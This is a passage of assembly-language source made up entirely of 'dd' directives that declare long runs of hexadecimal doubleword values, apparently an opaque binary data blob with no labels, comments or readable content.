3BEEE09Ah, 85D50F7Ah, 868EA74Dh, 0B0AE53C0h dd 0A00ABB3h, 0DC619F97h, 31FC63h, 1F0FE1C1h, 9B75E0A7h dd 38F7B3Eh, 9A2BD0A0h, 0A290F7F3h, 0F1B9BFh, 0B881FA1Ah dd 19B75E7Fh, 0ECC16600h, 44103ED2h, 9BCB006Ch, 0EDF95FCh dd 8001B862h, 73ABF1B0h, 16F865CDh, 5F84003Dh, 0BB996C63h dd 104BF51h, 0F30A0776h, 42360A81h, 0EC442DDCh, 0B811006Fh dd 0A0032A02h, 0DA002B4Ah, 0F7D92534h, 2A68B75h, 1CAEE818h dd 3D5E992h, 8B5B2F64h, 559BC047h, 65DB39BBh, 990062CCh dd 0BD7A846Eh, 0FE00524Fh, 3A11E393h, 163E0CE1h, 6C8137h dd 0DC8EEAECh, 0CD033F08h, 89F194CBh, 0E8F9A39Dh, 3FB8FA1Fh dd 448266D1h, 0D04A6278h, 0ECF45741h, 6C009498h, 0A627A272h dd 8202B6h, 0A77B5676h, 0C097D69Ah, 490A0300h, 23EC7EEEh dd 6BAC000Bh, 8A5B8F21h, 0B3001466h, 0E12693DEh, 0F8AEB571h dd 942009Eh, 0FDB1222Ah, 0B4000156h, 0B586088Ah, 0F48D9B8Eh dd 0A87300FAh, 8459D024h, 4700AF8Ch, 0A2D32102h, 7242E1h dd 0F7FC540Eh, 5D240CD6h, 2278A00h, 2604A4BBh, 0B5180036h dd 0EA3CD81Eh, 0C00043CEh, 0CC7E461Bh, 3196ACFh, 9488992Dh dd 29CBC33Dh, 6263A8C8h, 0E134770Eh, 113F60FDh, 2C015Eh dd 2EDE74C3h, 8D4CC06Ah, 4950BB0Eh, 38D5C0F8h, 30D48AFh dd 0CCA6A162h, 0ED881771h, 0C103EE8Dh, 0A241A50Fh, 16C08584h dd 1336E3D1h, 0DCF067h, 0E4A6BFF6h, 761FC861h, 79C3035Ah dd 0E049CFAAh, 3B8D870h, 0C4943692h, 7AB80A4Fh, 0E800A052h dd 418C04ACh, 689EA4h, 797681A7h, 0A695E9F7h, 0F428F307h dd 4EC0C7EEh, 0F393C74h, 5BC019AFh, 5F12B5E0h, 33EC1069h dd 0D190E41Eh, 2C42DE47h, 153053F7h, 0FA2D2Bh, 9EC4B506h dd 0F8586630h, 0E4A52401h, 741D1B27h, 0F8DA5DE0h, 0F2340004h dd 0A29F7109h, 0E01DBCFBh, 320137DEh, 5B1487D0h, 0C080E89Eh dd 0B5517CA7h, 0E13B9C4Fh, 2E948799h, 0CAE0CEA1h, 0EAD9D2AFh dd 0C95C03D4h, 6EF4A690h, 2937C4E8h, 0D1538200h, 17C8E665h dd 481F009Eh, 8070EBDFh, 0AD7A9F3Bh, 0A2976C07h, 58C0A0A8h dd 0C09A79h, 603FABF7h, 37310E9Dh, 95CFE100h, 69FE4CE5h dd 0F3040382h, 1DCE2336h, 97D3CAD0h, 0AB3CBF00h, 53996E9h dd 7D24586Bh, 0FCD3B00h, 5D7A1E61h, 83D7F000h, 757EC2EFh dd 0A3FD0058h, 904CCEBEh dd 6400BD12h, 0B0507DC0h, 74EA14h, 68F3AB46h, 0B52FF4B1h dd 72768703h, 0E81A7A16h, 0F647F2h, 0F145B7CEh, 0FE088160h dd 0BE7CD600h, 4B56698Eh, 667030F8h, 0EBF04CC6h, 0F4231A1Eh dd 0F1862280h, 0D9D559h, 8B3457EAh, 23C98441h, 0DDF60800h dd 502DD3E1h, 365300DEh, 566869A7h, 1802336Ch, 152F5296h dd 0BCAFE0FDh, 34E390Bh, 19616B01h, 0C81276FCh, 88011389h dd 0C61D9AB0h, 98DBEE26h, 6ECBDDh, 0FC2D0560h, 9178E73Eh dd 561E5E00h, 444F3B98h, 4E0D03AAh, 7546A522h, 0A6DC18C8h dd 886A6502h, 0C0BEB77Fh, 0C474F6h, 0E162725Fh, 83059D43h dd 157501FAh, 0E909A7F4h, 820FADEAh, 0E074D646h, 596640h dd 0B29678BEh, 41DEF42Dh, 72DC9E00h, 9428372Fh, 1DEFE0D9h dd 80E786ECh, 699A59CEh, 5C0FC715h, 0A02CBC64h, 2B1B0120h dd 7CC80EC0h, 8D609103h, 5E926ED5h, 5DEEE104h, 268713A3h dd 9DA5C950h, 0EDE308Ah, 669B30C4h, 38AE6800h, 2384751Fh dd 0E70900BAh, 4365F3F0h, 610057C8h, 0C3330F41h, 0C67549h dd 18B3EC21h, 5FBC9563h, 0A71A5903h, 5D7811h, 9E4AFFA4h dd 31C05032h, 1C00F273h, 0C930ED93h, 59C429h, 5EDE4620h dd 4A448068h, 0AF638h, 0FB52B78Eh, 0C2A207h, 0BF63302Eh dd 6FD744BBh, 0E0B938h, 0B32DC59Bh, 0E2ACA69Ch, 0CFF3040Ch dd 0C068A95Fh, 518E984Bh, 550070B0h, 401B0AE8h, 717088h dd 0E3CAF8DDh, 0C0F18C0Bh, 2CFE4E5h, 0F68B990Fh, 0AE29805Fh dd 272324h, 0CA19892Ch, 1C1188Eh, 0D30660EFh, 0AB04B400h dd 4F4A0FF6h, 48253815h, 0E5C97300h, 321D8488h, 0AD3B700h dd 28ABB54h, 0A2D40022h, 82B97CCCh, 0E40036B2h, 4D28327Fh dd 0E62655h, 0D29C2D68h, 0CB44E3AEh, 840C7900h, 0C21BFF19h dd 6E6B000Dh, 2C4A6778h, 14EAA29Eh, 0A70B9400h, 0B138E51Ch dd 8E920013h, 73CF5A7Bh, 400EB81Eh, 0C0ADDB14h, 37BB711Ah dd 0EA530006h, 7947733Bh, 0CE001F12h, 0B1028DFBh, 7DCCC3Ch dd 49E0EAB0h, 0E5DBE092h, 6BFA26AEh, 0C251C00h, 0EEB747A1h dd 0D77C0001h, 408C978Bh, 7E027621h, 93221BCEh, 4987403Ch dd 0E67389h, 31F195BFh, 0DC2D616Dh, 0A83BB00h, 43AD136Bh dd 3D4EF892h, 3B80A5C2h, 5A5B2D8Dh, 3E026B54h, 2F66432Eh dd 3A0CE0BBh, 0C0D60095h, 0B821364Eh, 8D715CA8h, 868B5400h dd 17795B7Eh, 68821D55h, 0BCB1C091h, 353FD860h, 0CE758790h dd 0AB38BB00h, 746C3C95h, 0D4390734h, 40A01F20h, 0C067325Ah dd 4980009Fh, 719F7264h, 0C7410031h, 7F95E7B9h, 0DB002F3Ch dd 0BE9A02A7h, 0F0F3FB60h, 758D0027h, 4468CBCEh, 0D6005572h dd 89743C06h, 26629021h, 0AAB109h, 923BE384h, 7F020CA5h dd 4D9B3A44h, 0C6BD608Bh, 0C07238h, 232D3B57h, 4A564164h dd 3C44AC00h, 92EAA6AFh, 0D2DC00A1h, 7DBE4962h, 0C91C91A7h dd 0DAC086C0h, 2A1C39D5h, 6EAD3AD0h, 0ABBC7784h, 0C685DFh dd 40F65F62h, 1200E605h, 2764D007h, 7C19DAh, 0E946F968h dd 42210365h, 480F8F03h, 0E0CEDEDCh, 1FEE67h, 0FEC64BB6h dd 75613B4Ah, 801C2C00h, 0B41D6F57h, 33D50022h, 0D92A665Fh dd 293E647Ah, 0D2D88096h, 53A9E588h, 0C52207DEh, 3EA18BEh dd 4CD89E71h, 0E00ECB4h, 3B413DDFh, 0E8939640h, 3F61EE6h dd 0C62780F0h, 86D79937h, 0B489E21Dh, 0C1D9F1C7h, 99C01E65h dd 7490408h, 0AB214FB3h, 0F917735Fh, 0D55E76D8h, 0FA2E1300h dd 0CCC07CA5h, 0E4C00A2h, 23B87284h, 0F0BF3618h, 0CDED032Ah dd 3A4768B3h, 547A5690h, 0CF4C0900h, 0C4109FCCh, 60293EB1h dd 0D3A24800h, 0B75AA48Ch, 0C10FDA00h, 4FD0981Fh, 0A8BC007Bh dd 0D1E7CB71h, 5200C9FCh, 0F0E39B76h, 0BDF328h, 6F8518DBh dd 0DDBBB30Fh, 66C039h, 9464F9F4h, 5784C8h, 3E9CC2A1h dd 24659E58h, 3CFD3204h, 4EC0239Ah, 6E2B8Dh, 6B01A431h dd 0D84A7848h, 12D9A300h, 7043C4ACh, 0E18900CDh, 0A8D4E222h dd 0A100B09Dh, 0A57C30FCh, 1FD34098h, 40213E35h, 45AE01D7h dd 0A800CD1Bh, 33288C51h, 483D3B36h, 4660E67Bh, 640793B0h dd 0B6A8E01h, 38C1E843h, 5ABBF0h, 886604BFh, 0E94E2558h dd 790FB43Ah, 1993EC17h, 81BDF300h, 313B7FCh, 57FEC4AEh dd 385ED45h, 5163FDB0h, 707CBDA8h, 781EAA02h, 0E0C119EEh dd 1EFDD20Fh, 7E8D6421h, 0BC1B4380h, 0ABF606ACh, 7533A400h dd 1A78419Ah, 0EE2E4C8h, 794C90AAh, 12613160h, 0EC0F5923h dd 60723874h, 8B35986Dh, 764F16F5h, 0C600BBA4h, 2E44D583h dd 0EE500099h, 0E3718D81h, 450014F1h, 625CD776h, 1EF26030h dd 4082DE16h, 8B155D38h, 79073D3Fh, 2399C99h, 3730D1F0h dd 2F7E0078h, 8E0A76A1h, 7200C531h, 41F5B908h, 7435363h dd 747D6673h, 0BF4ED0B0h, 30E45DBDh, 0CEB65B00h, 5C51F6ECh dd 2ACB07FFh, 0E1166B07h, 3E75E939h, 0FA36B0h, 40A63DD4h dd 20370261h, 14A15E00h, 75665A1Ch, 0F4EA50h, 8273D89Fh dd 0FF7DD106h, 0F69E6307h, 1BF027E8h, 7A232266h, 0ABB60067h dd 7D12F170h, 0D9F437D7h, 3BEE3F00h, 0D0A235C8h, 65C300BDh dd 391E7B9Ch, 1D7C5BE8h, 9182100Fh, 0F5A1214Bh, 0D360CE96h dd 81DA3E77h, 0CA7CF80h, 0E139F45Eh, 0B394BE00h, 53A1344Dh dd 9AC80037h, 0F7FD8092h, 0BB002D9Fh, 0E76C398Eh, 0E8E076h dd 6F78E66Dh, 419FF5C5h, 6200377Fh, 3FBAF953h, 0CAC829h dd 769691AFh, 0F30E774Dh, 0B5329200h, 0D2D5F280h, 8A230026h dd 6E997D56h, 0F4006CB2h, 54FB4686h, 602DB640h, 49A62EAh dd 0F800ABEFh, 227A34B1h, 1F1DE9h, 99E61A6Bh, 819F2FD9h dd 6F3DB703h, 887B67C3h, 0AF4F7Fh, 25CD7C5Eh, 1DBC690Eh dd 4B1BBA00h, 0E315BFD0h, 4E1100EBh, 0B4CA6DB7h, 0F30139DAh dd 62DBFB7Ch, 0B887D302h, 0A0331EA5h, 73E24558h, 0BD0ED038h dd 0C2CC89C4h, 397A80E7h, 76616B5h, 0B09C1D13h, 604D27C5h dd 371A564Ah, 0AC572607h, 88304784h, 3604BBh, 25D71C6Dh dd 632F5B20h, 0F8965600h, 0A982090Ah, 6E8C0765h, 205AFBB8h dd 9212BB2Eh, 321E2500h, 80384B5Fh, 9343000Ah, 0D6D8C16Ch dd 99008B26h, 0F7FC60F8h, 78B94DEEh, 2A11001Eh, 675CDE19h dd 960E950Ah, 0A07E2EE3h, 8D69364Dh, 0BF860037h, 0A7D44C41h dd 2E00980Eh, 87057BEh, 0B09359B3h, 0DBE01FB4h, 0E4B9BE4Fh dd 0C9D43B8Fh, 17B128E0h, 94000F37h, 6B0952B6h, 7D7BA2Eh dd 0E791EF69h, 0F54F50FBh, 2006557h, 0CF09B813h, 8D514h dd 2D7775F1h, 0DFB9B140h, 0C8509C00h, 2CC561E0h, 0C3363FF3h dd 0E60C007Fh, 3835EBC7h, 4A07DCACh, 24096BD5h, 639D0D40h dd 10800EFh, 807A6453h, 0C902A9E4h, 32EB776Bh, 3561E0AEh dd 37625CF4h, 1E81D53Ah, 34D623ADh, 0E9033014h, 101E607Dh dd 80FC065Bh, 7EFFD7DFh, 9E2563h, 3BC32889h, 485999A8h dd 9C07B200h, 262B8A83h, 6B3F007Bh, 9A6511E3h, 0C4ECE18Eh dd 0E290C500h, 0DC39BE4Dh, 370C2h, 0B07A1668h, 0B4C31AEDh dd 0F605F20Bh, 264B83D6h, 0C0BDA322h, 6DB677h, 754D2AA0h dd 0C003418Eh, 729EF800h, 393B5B5Eh, 49A500D3h, 0DC9F63D1h dd 0CF00F638h, 8FDDC3CDh, 0EAD24Ch, 7CD9B191h, 29793140h dd 4300EC79h, 0E39D8369h, 630AD0h, 427A14C1h, 0BB38B5B4h dd 1C58A900h, 86D068A2h, 17F27063h, 96AC41h, 4776433Dh dd 0F1001C81h, 0DEFBAD34h dd 98247Ch, 0F0C5B1Eh, 0C64C592Bh, 83D8583Ch, 47298B5Ch dd 9052F89Bh, 0DF980112h, 0CA728D56h, 0D7AFECA5h, 0F120B700h dd 0C152DE82h, 6A5501A9h, 0C9D84B5Ch, 0BD792097h, 0C6ABEA00h dd 4CA5090Ch, 0A4E054h, 8620921Bh, 3C195781h, 80D9AC38h dd 71C6E68Dh, 3AF03F7h, 49400AFFh, 578F57B9h, 24B710E9h dd 0AB005C3Dh, 2F77355Dh, 0FAF95h, 3B97ECF1h, 0F0C6B551h dd 0E3F9FF00h, 93992679h, 0E7E9007Fh, 6F48555Ch, 84004265h dd 7B7C37EEh, 47B0FFh, 32BF4BABh, 8978139Ah, 7570AD00h dd 0E8B171FDh, 769843h, 0ACF9811h, 0F1F90496h, 8E59911Ch dd 0C88BF4C0h, 0EBC1D0EFh, 90FF3A20h, 3A7B0025h, 0D6A72438h dd 330EF05Eh, 87819BA2h, 350291Ch, 3C85FB83h, 0C500D937h dd 84D51FE9h, 800EDBEh, 6F6AB04Ah, 0C9EA06h, 5DA2D87Bh dd 2212053Ch, 8C03A600h, 3B67A118h, 166FCD2h, 305315E2h dd 0D55B84A8h, 0DCFF098h, 0A0AE3701h, 5A9AC3BFh, 1D0327E8h dd 0C0C4AD78h, 39B865E9h, 96283233h, 0A103FA3Fh, 1211A702h dd 930DB06Dh, 0EB1C00BCh, 0D6992A88h, 32177719h, 9F0089EEh dd 1B51D56Bh, 0C359009Ch, 0A8E8876h, 7C7B5394h, 3D00FD79h dd 0DACE0BE3h, 0DFBC87h, 14AA8E5Fh, 4274EA3Eh, 2C13A00h dd 0B212E44Bh, 0E8DB00F7h, 292F70E9h, 0B503D56h, 0A63CC78Dh dd 0B55480F8h, 49A7211Ah, 0DA3C1C04h, 70BB03C0h, 0F0C874CFh dd 0A1004231h, 2A78D535h, 1BA8C7h, 5FFEA95Eh, 0F99A7BF5h dd 0CD39E1Fh, 0C06FF08Eh, 0DA53209h, 6EEB3F7Dh, 0C1BD5000h dd 21891147h, 0FC0EA11Fh, 23E94C0h, 18D963h, 278EEE4Ah dd 957CBE36h, 0D1211900h, 5DC6B715h, 432C00C7h, 53ACFE2Ah dd 4B1DEE22h, 0E00B326h, 9957B1C9h, 11ED01D0h, 0D983A7DEh dd 0AE9BD06Ah, 0BCDBE100h, 0F5924544h, 5E93009Dh, 7B35D7Fh dd 6C1F5901h, 0C00E9C02h, 5504A1E2h, 0E20C537h, 0E381C92h dd 527140A0h, 309769F8h, 3933EC01h, 0EA04FB13h, 17BECCh dd 608FF5E7h, 0EBE4C080h, 0B1A038h, 3D126A94h, 3BFFB366h dd 838F5051h, 0BE00CC44h, 952B3155h, 7C1CE400h, 0EFF7F3D2h dd 440B5867h, 0C1E82800h, 58B3FE68h, 0C28C3B01h, 0D29241D7h dd 1D06831h, 954800A3h, 0E42AE95Eh, 0DE000E5Fh, 231ACE8Ch dd 0B07F151Ch, 798600EFh, 7A4FDFC8h, 0FC007C17h, 0CF36599Dh dd 9ED591h, 7527EA4Ch, 0DB546997h, 0A4B60807h, 0F4B0822Ah dd 0BA8A3Bh, 7A59CAAh, 0DEC5BFEh, 310074EEh, 199F13BFh dd 0E2CFA2Fh, 0CF1D39DDh, 0C3910820h, 24000272h, 96E2895Ah dd 3DA8682Eh, 1600882Ch, 7E067865h, 7FB8B39Ch, 0EC674A00h dd 31FBE0BBh, 874D0072h, 250BA9D3h, 96006FEFh, 7EB6229Dh dd 18B17F8h, 0F6B84EACh, 0C5A67516h, 7AA8F83Dh, 615E3600h dd 300DE88Ch, 423900C7h, 23F197AAh, 1A243519h, 2100E033h dd 84557D28h, 448D007Eh, 4D675975h, 7A035048h, 0C7EC6324h dd 99D2A072h, 0FCE7EC2h, 69AA79AFh, 0EB4AF0A0h, 0D4003ED7h dd 8CFEF571h, 4E45DAh, 4C1D0BFFh, 0AF212CE7h, 8292B00h dd 0E24061A9h, 4B960FD1h, 0D42028B7h, 0F512D3BDh, 120100Eh dd 733A04Ah, 58632D49h, 2F1CF0C4h, 594CCA99h, 526500D1h dd 0A69A3B76h, 5C14A23Ah, 20B00070h, 4033F4D9h, 3857002Ch dd 674E66B9h, 2B013E3Ch, 0CC7E9A25h, 0E0DEDFE8h, 3D49DCh dd 1F0C32C6h, 98F8AB31h, 0A90029FEh, 0D46DD6D5h, 5F8094h dd 0B81A3B6Ah, 71A7BE79h, 0FCC92A13h, 7030B400h, 48059096h dd 0C5030FE8h, 64B63F0Bh, 7B3AB3C8h, 1CF5E00h, 0C9C1D596h dd 0DB6600D8h, 0A90C1A65h, 790FAA75h, 60B8F3E4h, 57AF7487h dd 0B812DD9h, 7700A87Ch, 0DECE4170h, 0CB3400E8h, 0DA32DB0Ch dd 0B4059EFDh, 16BD53C2h, 798E9A07h, 31CD80D9h, 8C5DD9h dd 1CF81437h, 6AB222A0h, 0CEFACD00h, 0A3333BE0h, 8E0E07B8h dd 23C8FB50h, 3781B9FCh, 0B388E4F0h, 0AA0FA87Dh, 6025BF85h dd 23D07362h, 4B0B02B7h, 0F3EE0D87h, 6500ADF8h, 0C1B8487Dh dd 781C63h, 0A3F709EFh, 8C0B477Fh, 8B14661Eh, 3C380680h dd 6BF8FEh, 0EEB29B5Ah, 794B4E50h, 0DC1A8D1Eh, 5B6CE600h dd 0F28246h, 0A35E982Fh, 91990EAFh, 2340D703h, 0B8CCB473h dd 0EAE01Eh, 9AC1208Ah, 76A10F75h, 1C948900h, 6756BD23h dd 129E01F5h, 0D3482CF3h, 6EF6F43Fh, 800F931Fh, 6CD20A00h dd 0E9E1Bh, 65CA57Dh, 1513DABDh, 17478500h, 0CDDDCA1Ch dd 27C70093h, 0E92F5FB9h, 0A2004DF8h, 5DF9E1C3h, 3DC81Bh dd 0BA07DF7Bh, 62276C39h, 1D3FE5Ch, 0BBEBF1C0h, 9FC9BD34h dd 8C56E8h, 0C62004FAh, 6F8E19D7h, 52794900h, 0F6CF1ADBh dd 0EA0500B4h, 0E8C412F9h, 0DF7836CEh, 0A6000471h, 47268F4Eh dd 0A12B41h, 469F9D7Fh, 22DFEAD0h, 0B156E628h, 0B41BD8FFh dd 430084E0h, 0BB6C1D33h, 0E72D2Ch, 49ACA810h, 2530C84Bh dd 795A5D1Eh, 92727500h, 0F9A9FCh, 0E47C1811h, 8568DD07h dd 0C177DF1Eh, 21F00Fh, 0E2FE06F8h, 0D9644CEEh, 93C50E7Ah dd 1220B3h, 0B0C0A2A1h, 0DE008772h, 165074B2h, 0B82E42h dd 17F6C1D9h, 5DE48D05h, 8091C238h, 0D0BC1DD3h, 0F8219CAh dd 98A36DFDh, 0CB590AE0h, 0A61D348Eh, 94406895h, 441E7F2Bh dd 19510793h, 30579760h, 0E080AF5Eh, 0D9229400h, 1C84C301h dd 0FA310046h, 0F4564CE3h, 2A0067D3h, 98E2A155h, 297B36h dd 3423546Fh, 0F03AE969h, 815C3Ah, 43F7DF1Ch, 3C81EB7h dd 7F6D760Ah, 34D049B2h, 4DF8CD0Fh, 336A9F0Fh, 80108077h dd 0E22371Bh, 157C285h, 5A02807Eh, 29CEE6DCh, 0C49C4D07h dd 0C0F0B5A7h, 0E3D767h, 414B2B63h, 39662918h, 1B6848h dd 0DA8ABF6Ch, 7D18B7Ah, 51BE4E54h, 0CBBB501Dh, 2539BD3Eh dd 550E7CD9h, 0A04B587Fh, 0AF9D7976h, 6E140008h, 8AF2622Ah dd 9C776D5Fh, 57FECF02h, 401CD696h, 3ECBE3C3h, 0BB81C709h dd 0F47E2110h, 0AAA07FFFh, 0CF5B07D5h, 207620DDh, 7162A9DAh dd 376548h, 1BBD884h, 1D267D9Ah, 0E133B9h, 0B6965B2Ah dd 0E200A2C1h, 743ECA47h, 9AA2F2Eh, 85A76DC5h, 0A9B4B200h dd 8400AD16h, 0D05D6140h, 0C05F7Fh, 0E2A5505Bh, 0ED2497C7h dd 38C4Ch, 17DEB662h, 7039315Ah, 0E5D5009Dh, 9E122540h dd 891EBD28h, 0AE800B1Ah, 1E74DABEh, 62E90315h, 0BC45D067h dd 3DA2FFB0h, 0A7D11900h, 2452E26Fh, 17B10072h, 0EA381C32h dd 5F007ED9h, 0F3E3420Fh, 3B84A003h, 0C01FC9E0h, 5751CF55h dd 0DABA3A0h, 160040F6h, 1C8E549Ch, 5DD50Bh, 926FB532h dd 35E476D3h, 2A84C500h, 6AC396E0h, 0C64200D6h, 0ACE7E26Bh dd 0F1004C69h, 0BCA4656h, 0E81657h, 373FF038h, 0D09CBF12h dd 493C4201h, 89942B52h, 78EFCCh, 9B17DFB9h, 16CB8B2Fh dd 2A529916h, 0C8FF8400h, 62F086h, 9CF4F5BDh, 5DC512EBh dd 7A1DF600h, 4BC8BF4Ah, 0AFC03E4Ch, 3BB44080h, 5E27CADCh dd 5DA4F400h, 0B6576468h, 0A0290075h, 0EE409E53h, 0E8054CFCh dd 34C92DCCh, 454AB280h, 326600FDh, 0CD174873h, 0A2266D2Fh dd 0FE008512h, 0B03B8FF0h, 11D700D1h, 0F5D66FF3h, 0BE1754E4h dd 47002548h, 627379C6h, 0CBEB00CDh, 8E514F1Bh, 0FF1C7B08h dd 8CCEACC5h, 0DCF0C727h, 0E79610F0h, 0E3AD09BDh, 0B6000EABh dd 6979C32Eh, 32B06303h, 88F3C03Dh, 5858C924h, 7886DBh dd 0AC69C491h, 5915974Bh dd 47387300h, 9EC9A901h, 0E8F4E6B1h, 0E4AEFE9Dh, 3370040h dd 955B5E7h, 11179F36h, 1010F87h, 7FF97B49h, 50D9C02Fh dd 0C1F2F5F8h, 7905C300h, 0B51E47B9h, 41A9001Ah, 0EF2080B4h dd 0BE904E9Fh, 0CF86B600h, 0D85A592Dh, 0FD5C0722h, 506176DBh dd 7D7C2F47h, 83A59500h, 2150C12Ch, 97200072h, 1E94CDC6h dd 0B3FC34D2h, 2EBC670Bh, 6FDF00ACh, 7199C929h, 97980045h dd 0CE5590FDh, 320559F8h, 372AEA35h, 299D81AFh, 4D91CFF2h dd 76A5E4D7h, 38F94Ch, 0CA375E3h, 751D9486h, 1C7C009Bh dd 52030922h, 0CF00DD51h, 0B0CCE0C7h, 0CA3258h, 0EC9ABF91h dd 3D829B5Ch, 1BE66907h, 0B69062BCh, 0A74413h, 92203EF7h dd 35D3574Dh, 0F4027678h, 67D09646h, 0F8ADE053h, 7B600E5h dd 72C4CD95h, 19ECA7F6h, 0F9000FB0h, 2D3AF06Bh, 0CA45C7h dd 2AA04F7h, 0E5D1A771h, 69BC1E00h, 617446Bh, 0FFEC004Eh dd 0E878E9BDh, 58024297h, 8BCBA298h, 0A6006026h, 65010172h dd 9A9D6E8Dh, 0ED69CCD4h, 6CFA3207h, 4C30AAFDh, 74D5B98h dd 9155D026h, 0F3F260B8h, 701D2D1Ch, 0E300ABDBh, 97B45447h dd 3414035Ah, 2E7C697Fh, 0F55FB698h, 1D6A0C48h, 3C40D1BCh dd 0EE6D479Eh, 0AFFC00A9h, 0F89D5E2Dh, 720022CCh, 9712FB45h dd 0A6B159h, 0DB1603BFh, 4E5A811Ch, 980C9A00h, 4134AB35h dd 699C0083h, 0ED779267h, 82008E2Ch, 0F0E06AEEh, 1D254980h dd 7117E8Ch, 95954D89h, 98D2815Eh, 0D61E9h, 42A581E9h dd 29F73600h, 0AF381082h, 0DF0100D7h, 0FB641F65h, 0CB7285ABh dd 0ADFA4Ch, 0C2F50725h, 79E1BB37h, 82701C2Dh, 134040E7h dd 5D6B1F87h, 373A3400h, 4367A25Eh, 9DD80074h, 0D34D3633h dd 0F9020930h, 0AC16E76Ch, 0E1B14062h, 0F1290E94h, 44E0257Bh dd 3DA045BCh, 0F4001BEAh, 835B1A05h, 18D567h, 68A59A8Ch dd 2C77544Eh, 0CCEC7301h, 0C304C4D4h, 8A76C8h, 51EA4642h dd 0D9430CBEh, 7C2BE503h, 813267A9h, 6F305EA2h, 0A33B0F17h dd 0A4FF2629h, 274005Ah, 0F498969Ah, 4C0B4A00h, 32F3FD1Ah dd 2AE2A9h, 0FF4280A5h, 21D0F7B8h, 2C94C01Ch, 0B6888C0h dd 1D7E095Eh, 80176BC9h, 0AADA85A8h, 7A00169Eh, 51B910C7h dd 744F890Bh, 0D177000Eh, 938CF0CDh, 0C7E6D8CCh, 46408E00h dd 8ACB910Dh, 0B60500AEh, 7BDD7238h, 1F09FB26h, 43241D58h dd 0E8E99846h, 0F14B84Dh, 837FB0F1h, 652F6D20h, 0B900AB75h dd 3E484FFCh, 0EB2C85h, 99E9571h, 6267366Ch, 8A11E600h dd 1B43C881h, 7EC407BBh, 6093F40Fh, 0E3920FBh, 0D0A8500h dd 0EB10A42Eh, 4B34008Bh, 8825947Dh, 0CC128424h, 9A0783DDh dd 3E50B3FEh, 51073Fh, 36851140h, 0F99D4E17h, 4900EE72h dd 0F7667BE4h, 0DE0121h, 50F0A53Fh, 1BEA51E7h, 0C1D21C00h dd 2CEFBF69h, 2F6007Eh, 47435EE6h, 8400FD3Fh, 0CA80F5FEh dd 1C856DBh, 863ED8Ah, 401B1659h, 0E7F673E4h, 0A3050702h dd 4002AC75h, 0B2F44Bh, 0DF1535BAh, 60CB170h, 80EAE039h dd 0B6A886EFh, 50FB72A9h, 0DF442h, 0EA986BE5h, 0FC5CD7F9h dd 0CCC67000h, 37FF7C21h, 76530041h, 0B19AF6A0h, 0E00F446h dd 81B8F07Eh, 1ED6E04h, 0EE3E7FA4h, 0C8D634A7h, 4E1D5CDFh dd 0E900B268h, 103D6D60h, 27D3008Fh, 8703301Fh, 0E70E55C3h dd 21B5DAE2h, 7BF9F862h, 95EBD8h, 9DA645DEh, 0EC8767F0h dd 150C720Ah, 0E503C133h, 90CF6265h, 9DB25B2h, 1879806Ah dd 0E25F2780h, 0FAE038D9h, 8039C63Dh, 748B78DEh, 1F59023h dd 0C5496B6Ch, 0E8C11AF6h, 87F89926h, 5F5CB5E2h, 0DC0E0080h dd 61059FD2h, 41B90729h, 40769EC1h, 0B4E12F3Dh, 0A2D31207h dd 600FE16h, 0A01EABh, 0CB835473h, 0C474A61Ch, 3F2D2F03h dd 0E8666421h, 0D95979h, 0F8C9258Bh, 0CAE35A2h, 0D300CFEAh dd 6062068Eh, 92A1A3h, 0F7A4DCF9h, 26F27B4Dh, 249D6A00h dd 0E95E4B88h, 69A60096h, 2925A2B9h, 0CD002AF6h, 0E4BF983Bh dd 1DFC6B0Bh, 3EC14Eh, 54E08EAAh, 7601A4A0h, 0F2788B26h dd 4F30C275h, 83C100C9h, 1EE0CBABh, 1200F107h, 5F889AAFh dd 7515163Dh, 7F5D0030h, 34CC9CC9h, 0FE641DAh, 6E4F2600h dd 8139BE90h, 5DEF00F0h, 1C67F59h, 82EE1622h, 8534F200h dd 0FDB87329h, 9A0800F8h, 0D6BB2677h, 0D40318FCh, 88C7E641h dd 8FEBF058h, 17F07h, 1259BF80h, 16A12F30h, 0D05F2909h dd 8B91894Bh, 0C6F800C9h, 1C42B322h, 0D89CEEh, 0E884883Eh dd 57F250CBh, 10009D7Dh, 8E9A3D2Bh, 0CE7771h, 4CCCC57Bh dd 0FCA507AAh, 3AC96800h, 2556801Ah, 0A8D30082h, 3F94042Ah dd 0C6017EE7h, 58A97303h, 3770E2C9h, 0A2050065h, 393EC08Eh dd 0F1177815h, 0D1DE161h, 11DF807Ch, 0E2727EBFh, 0DA12001Ah dd 0F979245Ch, 2C00D182h, 3CE64D5h, 1C66A7D7h, 4AA297h dd 29242390h, 3BE6AC86h, 0B7AB2B00h, 0B9E85099h, 15EEF0h dd 0F1386D2Fh, 0ECBF3CDBh, 0E455A200h, 98B9800Dh, 0CF740090h dd 73F43344h, 0D01D7928h, 0D9053B8Ah, 0F9802AD8h, 7D0A4Eh dd 0CABDC6A5h, 5D042CAFh, 59F69203h, 0C8B9E4EAh, 864B0Fh dd 6A13DABBh, 2A53933Dh, 1A007E7Bh, 54F98536h, 64DD7Dh dd 0A1CE83B2h, 2BE2CDBBh, 82301800h, 7498A061h, 0D7020058h dd 0D69BC762h, 15001AEEh, 3A77F86Dh, 3939EA81h, 0FB0F0CAAh dd 402017E1h, 203AE3Fh, 99F5500h, 823BA913h, 0FD831F37h dd 0CA980ECDh, 15AEA620h, 0B0002D9Dh, 0FE60852h, 0F9A9B40h dd 0D3B468AAh, 71E041CEh, 0E076954Ah, 0E600DFF6h, 2D1463F6h dd 453593h, 5EF233A8h, 1851A70Ah, 543D1312h, 946BE100h dd 0F5CC29Ah, 0A7602F04h, 0F0ACDAE1h, 44033A3Ch, 0D8A51D7Bh dd 5ECFE2h, 9EDB203h, 0D20EF764h, 0E7060F00h, 0D6E901B5h dd 90F90060h, 0B488E19Bh, 7100B768h, 618C2280h, 0A0BFF8D8h dd 3F6596ECh, 0F98034BDh, 0A97B862Ch, 6C00B6E8h, 3982B901h dd 0E88E1843h, 0A69C00E1h, 90BB1D13h, 8C006A1Ch, 8A3FC50Ch dd 12AADD3h, 0E9562ECFh, 0C851C189h, 860084AFh, 0BD1D9DD0h dd 42F3FAh, 4635D763h, 82C888A5h, 4705AD00h, 19985CAFh dd 0C97C008Ah, 8577B450h, 9B0073A8h, 36B7DFA3h, 0A755ADCh dd 6D96DA2Fh, 0E60400FFh, 57845E42h, 0D7E80C00h, 0CFFFCA0Ah dd 818D00C4h, 217F488Eh, 0CB1DC8C6h, 0DCC0D94Ah, 60395D1Bh dd 0F442077Dh, 5059059Eh, 3CD7EDC2h, 967458h, 